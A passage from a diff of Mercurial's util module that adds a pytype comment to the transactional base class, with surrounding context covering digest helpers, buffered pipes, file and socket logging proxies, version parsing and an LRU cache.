     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
 if _dowarn and pycompat.ispy3:
     # silence warning emitted by passing user string to re.sub()
     warnings.filterwarnings(
         r'ignore', r'bad escape', DeprecationWarning, r'mercurial'
     )
     warnings.filterwarnings(
         r'ignore', r'invalid escape sequence', DeprecationWarning, r'mercurial'
     )
     # TODO: reinvent imp.is_frozen()
     warnings.filterwarnings(
         r'ignore',
         r'the imp module is deprecated',
         DeprecationWarning,
         r'mercurial',
     )
 
 
 def nouideprecwarn(msg, version, stacklevel=1):
     """Issue an python native deprecation warning
 
     This is a noop outside of tests, use 'ui.deprecwarn' when possible.
     """
     if _dowarn:
         msg += (
             b"\n(compatibility will be dropped after Mercurial-%s,"
             b" update your code.)"
         ) % version
         warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
 
 
 DIGESTS = {
     b'md5': hashlib.md5,
     b'sha1': hashlib.sha1,
     b'sha512': hashlib.sha512,
 }
 # List of digest types from strongest to weakest
 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
 
 for k in DIGESTS_BY_STRENGTH:
     assert k in DIGESTS
 
 
 class digester(object):
     """helper to compute digests.
 
     This helper can be used to compute one or more digests given their name.
 
     >>> d = digester([b'md5', b'sha1'])
     >>> d.update(b'foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
     >>> d[b'md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
     >>> d[b'sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
     >>> digester.preferred([b'md5', b'sha1'])
     'sha1'
     """
 
     def __init__(self, digests, s=b''):
         self._hashes = {}
         for k in digests:
             if k not in DIGESTS:
                 raise error.Abort(_(b'unknown digest type: %s') % k)
             self._hashes[k] = DIGESTS[k]()
         if s:
             self.update(s)
 
     def update(self, data):
         for h in self._hashes.values():
             h.update(data)
 
     def __getitem__(self, key):
         if key not in DIGESTS:
             raise error.Abort(_(b'unknown digest type: %s') % k)
         return nodemod.hex(self._hashes[key].digest())
 
     def __iter__(self):
         return iter(self._hashes)
 
     @staticmethod
     def preferred(supported):
         """returns the strongest digest type in both supported and DIGESTS."""
 
         for k in DIGESTS_BY_STRENGTH:
             if k in supported:
                 return k
         return None
 
 
 class digestchecker(object):
     """file handle wrapper that additionally checks content against a given
     size and digests.
 
         d = digestchecker(fh, size, {'md5': '...'})
 
     When multiple digests are given, all of them are validated.
     """
 
     def __init__(self, fh, size, digests):
         self._fh = fh
         self._size = size
         self._got = 0
         self._digests = dict(digests)
         self._digester = digester(self._digests.keys())
 
     def read(self, length=-1):
         content = self._fh.read(length)
         self._digester.update(content)
         self._got += len(content)
         return content
 
     def validate(self):
         if self._size != self._got:
             raise error.Abort(
                 _(b'size mismatch: expected %d, got %d')
                 % (self._size, self._got)
             )
         for k, v in self._digests.items():
             if v != self._digester[k]:
                 # i18n: first parameter is a digest name
                 raise error.Abort(
                     _(b'%s mismatch: expected %s, got %s')
                     % (k, v, self._digester[k])
                 )
 
 
 try:
     buffer = buffer
 except NameError:
 
     def buffer(sliceable, offset=0, length=None):
         if length is not None:
             return memoryview(sliceable)[offset : offset + length]
         return memoryview(sliceable)[offset:]
 
 
 _chunksize = 4096
 
 
 class bufferedinputpipe(object):
     """a manually buffered input pipe
 
     Python will not let us use buffered IO and lazy reading with 'polling' at
     the same time. We cannot probe the buffer state and select will not detect
     that data are ready to read if they are already buffered.
 
     This class let us work around that by implementing its own buffering
     (allowing efficient readline) while offering a way to know if the buffer is
     empty from the output (allowing collaboration of the buffer with polling).
 
     This class lives in the 'util' module because it makes use of the 'os'
     module from the python stdlib.
     """
 
     def __new__(cls, fh):
         # If we receive a fileobjectproxy, we need to use a variation of this
         # class that notifies observers about activity.
         if isinstance(fh, fileobjectproxy):
             cls = observedbufferedinputpipe
 
         return super(bufferedinputpipe, cls).__new__(cls)
 
     def __init__(self, input):
         self._input = input
         self._buffer = []
         self._eof = False
         self._lenbuf = 0
 
     @property
     def hasbuffer(self):
         """True is any data is currently buffered
 
         This will be used externally a pre-step for polling IO. If there is
         already data then no polling should be set in place."""
         return bool(self._buffer)
 
     @property
     def closed(self):
         return self._input.closed
 
     def fileno(self):
         return self._input.fileno()
 
     def close(self):
         return self._input.close()
 
     def read(self, size):
         while (not self._eof) and (self._lenbuf < size):
             self._fillbuffer()
         return self._frombuffer(size)
 
     def unbufferedread(self, size):
         if not self._eof and self._lenbuf == 0:
             self._fillbuffer(max(size, _chunksize))
         return self._frombuffer(min(self._lenbuf, size))
 
     def readline(self, *args, **kwargs):
         if len(self._buffer) > 1:
             # this should not happen because both read and readline end with a
             # _frombuffer call that collapse it.
             self._buffer = [b''.join(self._buffer)]
             self._lenbuf = len(self._buffer[0])
         lfi = -1
         if self._buffer:
             lfi = self._buffer[-1].find(b'\n')
         while (not self._eof) and lfi < 0:
             self._fillbuffer()
             if self._buffer:
                 lfi = self._buffer[-1].find(b'\n')
         size = lfi + 1
         if lfi < 0:  # end of file
             size = self._lenbuf
         elif len(self._buffer) > 1:
             # we need to take previous chunks into account
             size += self._lenbuf - len(self._buffer[-1])
         return self._frombuffer(size)
 
     def _frombuffer(self, size):
         """return at most 'size' data from the buffer
 
         The data are removed from the buffer."""
         if size == 0 or not self._buffer:
             return b''
         buf = self._buffer[0]
         if len(self._buffer) > 1:
             buf = b''.join(self._buffer)
 
         data = buf[:size]
         buf = buf[len(data) :]
         if buf:
             self._buffer = [buf]
             self._lenbuf = len(buf)
         else:
             self._buffer = []
             self._lenbuf = 0
         return data
 
     def _fillbuffer(self, size=_chunksize):
         """read data to the buffer"""
         data = os.read(self._input.fileno(), size)
         if not data:
             self._eof = True
         else:
             self._lenbuf += len(data)
             self._buffer.append(data)
 
         return data
 
 
 def mmapread(fp):
     try:
         fd = getattr(fp, 'fileno', lambda: fp)()
         return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
     except ValueError:
         # Empty files cannot be mmapped, but mmapread should still work.  Check
         # if the file is empty, and if so, return an empty buffer.
         if os.fstat(fd).st_size == 0:
             return b''
         raise
 
 
 class fileobjectproxy(object):
     """A proxy around file objects that tells a watcher when events occur.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
 
     __slots__ = (
         r'_orig',
         r'_observer',
     )
 
     def __init__(self, fh, observer):
         object.__setattr__(self, r'_orig', fh)
         object.__setattr__(self, r'_observer', observer)
 
     def __getattribute__(self, name):
         ours = {
             r'_observer',
             # IOBase
             r'close',
             # closed if a property
             r'fileno',
             r'flush',
             r'isatty',
             r'readable',
             r'readline',
             r'readlines',
             r'seek',
             r'seekable',
             r'tell',
             r'truncate',
             r'writable',
             r'writelines',
             # RawIOBase
             r'read',
             r'readall',
             r'readinto',
             r'write',
             # BufferedIOBase
             # raw is a property
             r'detach',
             # read defined above
             r'read1',
             # readinto defined above
             # write defined above
         }
 
         # We only observe some methods.
         if name in ours:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, r'_orig'), name)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, r'_orig'))
 
     __bool__ = __nonzero__
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, r'_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, r'_orig'), name, value)
 
     def __iter__(self):
         return object.__getattribute__(self, r'_orig').__iter__()
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, r'_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, r'_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def close(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'close', *args, **kwargs
         )
 
     def fileno(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'fileno', *args, **kwargs
         )
 
     def flush(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'flush', *args, **kwargs
         )
 
     def isatty(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'isatty', *args, **kwargs
         )
 
     def readable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readable', *args, **kwargs
         )
 
     def readline(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readline', *args, **kwargs
         )
 
     def readlines(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readlines', *args, **kwargs
         )
 
     def seek(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'seek', *args, **kwargs
         )
 
     def seekable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'seekable', *args, **kwargs
         )
 
     def tell(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'tell', *args, **kwargs
         )
 
     def truncate(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'truncate', *args, **kwargs
         )
 
     def writable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'writable', *args, **kwargs
         )
 
     def writelines(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'writelines', *args, **kwargs
         )
 
     def read(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'read', *args, **kwargs
         )
 
     def readall(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readall', *args, **kwargs
         )
 
     def readinto(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readinto', *args, **kwargs
         )
 
     def write(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'write', *args, **kwargs
         )
 
     def detach(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'detach', *args, **kwargs
         )
 
     def read1(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'read1', *args, **kwargs
         )
 
 
 class observedbufferedinputpipe(bufferedinputpipe):
     """A variation of bufferedinputpipe that is aware of fileobjectproxy.
 
     ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
     bypass ``fileobjectproxy``. Because of this, we need to make
     ``bufferedinputpipe`` aware of these operations.
 
     This variation of ``bufferedinputpipe`` can notify observers about
     ``os.read()`` events. It also re-publishes other events, such as
     ``read()`` and ``readline()``.
     """
 
     def _fillbuffer(self):
         res = super(observedbufferedinputpipe, self)._fillbuffer()
 
         fn = getattr(self._input._observer, 'osread', None)
         if fn:
             fn(res, _chunksize)
 
         return res
 
     # We use different observer methods because the operation isn't
     # performed on the actual file object but on us.
     def read(self, size):
         res = super(observedbufferedinputpipe, self).read(size)
 
         fn = getattr(self._input._observer, 'bufferedread', None)
         if fn:
             fn(res, size)
 
         return res
 
     def readline(self, *args, **kwargs):
         res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
 
         fn = getattr(self._input._observer, 'bufferedreadline', None)
         if fn:
             fn(res)
 
         return res
 
 
 PROXIED_SOCKET_METHODS = {
     r'makefile',
     r'recv',
     r'recvfrom',
     r'recvfrom_into',
     r'recv_into',
     r'send',
     r'sendall',
     r'sendto',
     r'setblocking',
     r'settimeout',
     r'gettimeout',
     r'setsockopt',
 }
 
 
 class socketproxy(object):
     """A proxy around a socket that tells a watcher when events occur.
 
     This is like ``fileobjectproxy`` except for sockets.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
 
     __slots__ = (
         r'_orig',
         r'_observer',
     )
 
     def __init__(self, sock, observer):
         object.__setattr__(self, r'_orig', sock)
         object.__setattr__(self, r'_observer', observer)
 
     def __getattribute__(self, name):
         if name in PROXIED_SOCKET_METHODS:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, r'_orig'), name)
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, r'_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, r'_orig'), name, value)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, r'_orig'))
 
     __bool__ = __nonzero__
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, r'_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, r'_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def makefile(self, *args, **kwargs):
         res = object.__getattribute__(self, r'_observedcall')(
             r'makefile', *args, **kwargs
         )
 
         # The file object may be used for I/O. So we turn it into a
         # proxy using our observer.
         observer = object.__getattribute__(self, r'_observer')
         return makeloggingfileobject(
             observer.fh,
             res,
             observer.name,
             reads=observer.reads,
             writes=observer.writes,
             logdata=observer.logdata,
             logdataapis=observer.logdataapis,
         )
 
     def recv(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recv', *args, **kwargs
         )
 
     def recvfrom(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recvfrom', *args, **kwargs
         )
 
     def recvfrom_into(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recvfrom_into', *args, **kwargs
         )
 
     def recv_into(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recv_info', *args, **kwargs
         )
 
     def send(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'send', *args, **kwargs
         )
 
     def sendall(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'sendall', *args, **kwargs
         )
 
     def sendto(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'sendto', *args, **kwargs
         )
 
     def setblocking(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'setblocking', *args, **kwargs
         )
 
     def settimeout(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'settimeout', *args, **kwargs
         )
 
     def gettimeout(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'gettimeout', *args, **kwargs
         )
 
     def setsockopt(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'setsockopt', *args, **kwargs
         )
 
 
 class baseproxyobserver(object):
     def _writedata(self, data):
         if not self.logdata:
             if self.logdataapis:
                 self.fh.write(b'\n')
                 self.fh.flush()
             return
 
         # Simple case writes all data on a single line.
         if b'\n' not in data:
             if self.logdataapis:
                 self.fh.write(b': %s\n' % stringutil.escapestr(data))
             else:
                 self.fh.write(
                     b'%s>     %s\n' % (self.name, stringutil.escapestr(data))
                 )
             self.fh.flush()
             return
 
         # Data with newlines is written to multiple lines.
         if self.logdataapis:
             self.fh.write(b':\n')
 
         lines = data.splitlines(True)
         for line in lines:
             self.fh.write(
                 b'%s>     %s\n' % (self.name, stringutil.escapestr(line))
             )
         self.fh.flush()
 
 
 class fileobjectobserver(baseproxyobserver):
     """Logs file object activity."""
 
     def __init__(
         self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
     ):
         self.fh = fh
         self.name = name
         self.logdata = logdata
         self.logdataapis = logdataapis
         self.reads = reads
         self.writes = writes
 
     def read(self, res, size=-1):
         if not self.reads:
             return
         # Python 3 can return None from reads at EOF instead of empty strings.
         if res is None:
             res = b''
 
         if size == -1 and res == b'':
             # Suppress pointless read(-1) calls that return
             # nothing. These happen _a lot_ on Python 3, and there
             # doesn't seem to be a better workaround to have matching
             # Python 2 and 3 behavior. :(
             return
 
         if self.logdataapis:
             self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
 
         self._writedata(res)
 
     def readline(self, res, limit=-1):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
 
         self._writedata(res)
 
     def readinto(self, res, dest):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
             )
 
         data = dest[0:res] if res is not None else b''
 
         # _writedata() uses "in" operator and is confused by memoryview because
         # characters are ints on Python 3.
         if isinstance(data, memoryview):
             data = data.tobytes()
 
         self._writedata(data)
 
     def write(self, res, data):
         if not self.writes:
             return
 
         # Python 2 returns None from some write() calls. Python 3 (reasonably)
         # returns the integer bytes written.
         if res is None and data:
             res = len(data)
 
         if self.logdataapis:
             self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
 
         self._writedata(data)
 
     def flush(self, res):
         if not self.writes:
             return
 
         self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
 
     # For observedbufferedinputpipe.
     def bufferedread(self, res, size):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
             )
 
         self._writedata(res)
 
     def bufferedreadline(self, res):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
             )
 
         self._writedata(res)
 
 
 def makeloggingfileobject(
     logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
 ):
     """Turn a file object into a logging file object."""
 
     observer = fileobjectobserver(
         logh,
         name,
         reads=reads,
         writes=writes,
         logdata=logdata,
         logdataapis=logdataapis,
     )
     return fileobjectproxy(fh, observer)
 
 
 class socketobserver(baseproxyobserver):
     """Logs socket activity."""
 
     def __init__(
         self,
         fh,
         name,
         reads=True,
         writes=True,
         states=True,
         logdata=False,
         logdataapis=True,
     ):
         self.fh = fh
         self.name = name
         self.reads = reads
         self.writes = writes
         self.states = states
         self.logdata = logdata
         self.logdataapis = logdataapis
 
     def makefile(self, res, mode=None, bufsize=None):
         if not self.states:
             return
 
         self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
 
     def recv(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
             )
         self._writedata(res)
 
     def recvfrom(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recvfrom(%d, %d) -> %d'
                 % (self.name, size, flags, len(res[0]))
             )
 
         self._writedata(res[0])
 
     def recvfrom_into(self, res, buf, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recvfrom_into(%d, %d) -> %d'
                 % (self.name, size, flags, res[0])
             )
 
         self._writedata(buf[0 : res[0]])
 
     def recv_into(self, res, buf, size=0, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
             )
 
         self._writedata(buf[0:res])
 
     def send(self, res, data, flags=0):
         if not self.writes:
             return
 
         self.fh.write(
             b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
         )
         self._writedata(data)
 
     def sendall(self, res, data, flags=0):
         if not self.writes:
             return
 
         if self.logdataapis:
             # Returns None on success. So don't bother reporting return value.
             self.fh.write(
                 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
             )
 
         self._writedata(data)
 
     def sendto(self, res, data, flagsoraddress, address=None):
         if not self.writes:
             return
 
         if address:
             flags = flagsoraddress
         else:
             flags = 0
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> sendto(%d, %d, %r) -> %d'
                 % (self.name, len(data), flags, address, res)
             )
 
         self._writedata(data)
 
     def setblocking(self, res, flag):
         if not self.states:
             return
 
         self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
 
     def settimeout(self, res, value):
         if not self.states:
             return
 
         self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
 
     def gettimeout(self, res):
         if not self.states:
             return
 
         self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
 
     def setsockopt(self, res, level, optname, value):
         if not self.states:
             return
 
         self.fh.write(
             b'%s> setsockopt(%r, %r, %r) -> %r\n'
             % (self.name, level, optname, value, res)
         )
 
 
 def makeloggingsocket(
     logh,
     fh,
     name,
     reads=True,
     writes=True,
     states=True,
     logdata=False,
     logdataapis=True,
 ):
     """Turn a socket into a logging socket."""
 
     observer = socketobserver(
         logh,
         name,
         reads=reads,
         writes=writes,
         states=states,
         logdata=logdata,
         logdataapis=logdataapis,
     )
     return socketproxy(fh, observer)
 
 
 def version():
     """Return version information if available."""
     try:
         from . import __version__
 
         return __version__.version
     except ImportError:
         return b'unknown'
 
 
 def versiontuple(v=None, n=4):
     """Parses a Mercurial version string into an N-tuple.
 
     The version string to be parsed is specified with the ``v`` argument.
     If it isn't defined, the current Mercurial version string will be parsed.
 
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
     >>> v = b'3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, 1)
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
     >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
     >>> v = b'3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, None)
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
     >>> v = b'3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
     >>> v = b'3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc+2-02a8fea4289b')
 
     >>> versiontuple(b'4.6rc0')
     (4, 6, None, 'rc0')
     >>> versiontuple(b'4.6rc0+12-425d55e54f98')
     (4, 6, None, 'rc0+12-425d55e54f98')
     >>> versiontuple(b'.1.2.3')
     (None, None, None, '.1.2.3')
     >>> versiontuple(b'12.34..5')
     (12, 34, None, '..5')
     >>> versiontuple(b'1.2.3.4.5.6')
     (1, 2, 3, '.4.5.6')
     """
     if not v:
         v = version()
     m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
     if not m:
         vparts, extra = b'', v
     elif m.group(2):
         vparts, extra = m.groups()
     else:
         vparts, extra = m.group(1), None
 
     vints = []
     for i in vparts.split(b'.'):
         try:
             vints.append(int(i))
         except ValueError:
             break
     # (3, 6) -> (3, 6, None)
     while len(vints) < 3:
         vints.append(None)
 
     if n == 2:
         return (vints[0], vints[1])
     if n == 3:
         return (vints[0], vints[1], vints[2])
     if n == 4:
         return (vints[0], vints[1], vints[2], extra)
 
 
 def cachefunc(func):
     '''cache the result of function calls'''
     # XXX doesn't handle keywords args
     if func.__code__.co_argcount == 0:
         cache = []
 
         def f():
             if len(cache) == 0:
                 cache.append(func())
             return cache[0]
 
         return f
     cache = {}
     if func.__code__.co_argcount == 1:
         # we gain a small amount of time because
         # we don't need to pack/unpack the list
         def f(arg):
             if arg not in cache:
                 cache[arg] = func(arg)
             return cache[arg]
 
     else:
 
         def f(*args):
             if args not in cache:
                 cache[args] = func(*args)
             return cache[args]
 
     return f
 
 
 class cow(object):
     """helper class to make copy-on-write easier
 
     Call preparewrite before doing any writes.
     """
 
     def preparewrite(self):
         """call this before writes, return self or a copied new object"""
         if getattr(self, '_copied', 0):
             self._copied -= 1
             return self.__class__(self)
         return self
 
     def copy(self):
         """always do a cheap copy"""
         self._copied = getattr(self, '_copied', 0) + 1
         return self
 
 
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
     >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
     >>> d2.update([(b'a', 2)])
     >>> list(d2.keys()) # should still be in last-set order
     ['b', 'a']
     '''
 
     def __setitem__(self, key, value):
         if key in self:
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
     if pycompat.ispypy:
         # __setitem__() isn't called as of PyPy 5.8.0
         def update(self, src):
             if isinstance(src, dict):
                 src = pycompat.iteritems(src)
             for k, v in src:
                 self[k] = v
 
 
 class cowdict(cow, dict):
     """copy-on-write dict
 
     Be sure to call d = d.preparewrite() before writing to d.
 
     >>> a = cowdict()
     >>> a is a.preparewrite()
     True
     >>> b = a.copy()
     >>> b is a
     True
     >>> c = b.copy()
     >>> c is a
     True
     >>> a = a.preparewrite()
     >>> b is a
     False
     >>> a is a.preparewrite()
     True
     >>> c = c.preparewrite()
     >>> b is c
     False
     >>> b is b.preparewrite()
     True
     """
 
 
 class cowsortdict(cow, sortdict):
     """copy-on-write sortdict
 
     Be sure to call d = d.preparewrite() before writing to d.
     """
 
 
-class transactional(object):
+class transactional(object):  # pytype: disable=ignored-metaclass
     """Base class for making a transactional type into a context manager."""
 
     __metaclass__ = abc.ABCMeta
 
     @abc.abstractmethod
     def close(self):
         """Successfully closes the transaction."""
 
     @abc.abstractmethod
     def release(self):
         """Marks the end of the transaction.
 
         If the transaction has not been closed, it will be aborted.
         """
 
     def __enter__(self):
         return self
 
     def __exit__(self, exc_type, exc_val, exc_tb):
         try:
             if exc_type is None:
                 self.close()
         finally:
             self.release()
 
 
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
 
     If no transaction was provided, this simply runs the body and returns
     """
     if not tr:
         yield
         return
     try:
         yield
         tr.close()
     except error.InterventionRequired:
         tr.close()
         raise
     finally:
         tr.release()
 
 
 @contextlib.contextmanager
 def nullcontextmanager():
     yield
 
 
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
     Holds a reference to nodes on either side as well as a key-value
     pair for the dictionary entry.
     """
 
     __slots__ = (r'next', r'prev', r'key', r'value', r'cost')
 
     def __init__(self):
         self.next = None
         self.prev = None
 
         self.key = _notset
         self.value = None
         self.cost = 0
 
     def markempty(self):
         """Mark the node as emptied."""
         self.key = _notset
         self.value = None
         self.cost = 0
 
 
 class lrucachedict(object):
     """Dict that caches most recent accesses and sets.
 
     The dict consists of an actual backing dict - indexed by original
     key - and a doubly linked circular list defining the order of entries in
     the cache.
 
     The head node is the newest entry in the cache. If the cache is full,
     we recycle head.prev and make it the new head. Cache accesses result in
     the node being moved to before the existing head and being marked as the
     new head node.
 
     Items in the cache can be inserted with an optional "cost" value. This is
     simply an integer that is specified by the caller. The cache can be queried
     for the total cost of all items presently in the cache.
 
     The cache can also define a maximum cost. If a cache insertion would
     cause the total cost of the cache to go beyond the maximum cost limit,
     nodes will be evicted to make room for the new code. This can be used
     to e.g. set a max memory limit and associate an estimated bytes size
     cost to each item in the cache. By default, no maximum cost is enforced.
     """
 
     def __init__(self, max, maxcost=0):
         self._cache = {}
 
         self._head = head = _lrucachenode()
         head.prev = head
         head.next = head
         self._size = 1
         self.capacity = max
         self.totalcost = 0
         self.maxcost = maxcost
 
     def __len__(self):
         return len(self._cache)
 
     def __contains__(self, k):
         return k in self._cache
 
     def __iter__(self):
         # We don't have to iterate in cache order, but why not.
         n = self._head
         for i in range(len(self._cache)):
             yield n.key
             n = n.next
 
     def __getitem__(self, k):
         node = self._cache[k]
         self._movetohead(node)
         return node.value
 
     def insert(self, k, v, cost=0):
         """Insert a new item in the cache with optional cost value."""
         node = self._cache.get(k)
         # Replace existing value and mark as newest.
         if node is not None:
             self.totalcost -= node.cost
             node.value = v
             node.cost = cost
             self.totalcost += cost
             self._movetohead(node)
 
             if self.maxcost:
                 self._enforcecostlimit()
 
             return
 
         if self._size < self.capacity:
             node = self._addcapacity()
         else:
             # Grab the last/oldest item.
             node = self._head.prev
 
         # At capacity. Kill the old entry.
         if node.key is not _notset:
             self.totalcost -= node.cost
             del self._cache[node.key]
 
         node.key = k
         node.value = v
         node.cost = cost
         self.totalcost += cost
         self._cache[k] = node
         # And mark it as newest entry. No need to adjust order since it
         # is already self._head.prev.
         self._head = node
 
         if self.maxcost:
             self._enforcecostlimit()
 
     def __setitem__(self, k, v):
         self.insert(k, v)
 
     def __delitem__(self, k):
         self.pop(k)
 
     def pop(self, k, default=_notset):
         try:
             node = self._cache.pop(k)
         except KeyError:
             if default is _notset:
                 raise
             return default
         value = node.value
         self.totalcost -= node.cost
         node.markempty()
 
         # Temporarily mark as newest item before re-adjusting head to make
         # this node the oldest item.
         self._movetohead(node)
         self._head = node.next
 
         return value
 
     # Additional dict methods.
 
     def get(self, k, default=None):
         try:
             return self.__getitem__(k)
         except KeyError:
             return default
 
     def peek(self, k, default=_notset):
         """Get the specified item without moving it to the head
 
         Unlike get(), this doesn't mutate the internal state. But be aware
         that it doesn't mean peek() is thread safe.
         """
         try:
             node = self._cache[k]
             return node.value
         except KeyError:
             if default is _notset:
                 raise
             return default
 
     def clear(self):
         n = self._head
         while n.key is not _notset:
             self.totalcost -= n.cost
             n.markempty()
             n = n.next
 
         self._cache.clear()
 
     def copy(self, capacity=None, maxcost=0):
         """Create a new cache as a copy of the current one.
 
         By default, the new cache has the same capacity as the existing one.
         But, the cache capacity can be changed as part of performing the
         copy.
 
         Items in the copy have an insertion/access order matching this
         instance.
         """
 
         capacity = capacity or self.capacity
         maxcost = maxcost or self.maxcost
         result = lrucachedict(capacity, maxcost=maxcost)
 
         # We copy entries by iterating in oldest-to-newest order so the copy
         # has the correct ordering.
 
         # Find the first non-empty entry.
         n = self._head.prev
         while n.key is _notset and n is not self._head:
             n = n.prev
 
         # We could potentially skip the first N items when decreasing capacity.
